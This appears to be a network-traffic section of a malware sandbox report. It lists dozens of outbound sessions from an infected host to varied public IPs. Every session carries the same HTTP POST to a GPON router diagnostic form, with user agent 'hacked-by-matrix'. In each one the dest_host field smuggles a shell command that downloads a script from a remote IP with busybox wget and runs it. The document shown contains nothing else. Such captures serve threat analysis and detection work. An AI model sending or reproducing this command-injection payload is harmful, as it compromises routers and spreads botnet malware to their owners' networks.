Mar 21, 2024 05:25:10.963641882 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
165	192.168.2.23	55750	94.253.85.90	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.963653088 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
166	192.168.2.23	41610	5.218.34.39	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.963664055 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
167	192.168.2.23	59410	37.11.33.196	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.963665009 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
168	192.168.2.23	44858	5.215.153.159	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.963696003 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
169	192.168.2.23	57160	2.120.105.212	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.963753939 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
170	192.168.2.23	38818	2.99.16.237	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.964266062 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
171	192.168.2.23	35416	42.9.106.153	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.964322090 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
172	192.168.2.23	34748	2.169.112.229	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.964356899 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
173	192.168.2.23	57828	118.167.57.150	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.964382887 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
174	192.168.2.23	56404	2.201.178.245	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.964407921 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
175	192.168.2.23	57610	37.76.133.24	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.964451075 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
176	192.168.2.23	35814	118.73.134.80	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.964484930 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
177	192.168.2.23	50802	2.35.132.251	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.964499950 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
178	192.168.2.23	58346	178.146.243.192	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.964528084 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
179	192.168.2.23	32866	2.129.203.104	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.964560986 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
180	192.168.2.23	35936	118.3.186.115	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.964607000 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
181	192.168.2.23	44626	94.172.176.148	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.964629889 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
182	192.168.2.23	60530	118.205.49.189	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.964629889 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
183	192.168.2.23	33450	37.217.144.183	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.964660883 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
184	192.168.2.23	58728	94.82.8.152	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.964719057 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
185	192.168.2.23	37142	109.121.105.55	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.964735985 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
186	192.168.2.23	53158	79.30.103.229	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.964749098 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
187	192.168.2.23	54808	178.207.129.8	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.964772940 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
188	192.168.2.23	35420	109.47.143.105	443

Timestamp	Bytes transferred	Direction	Data
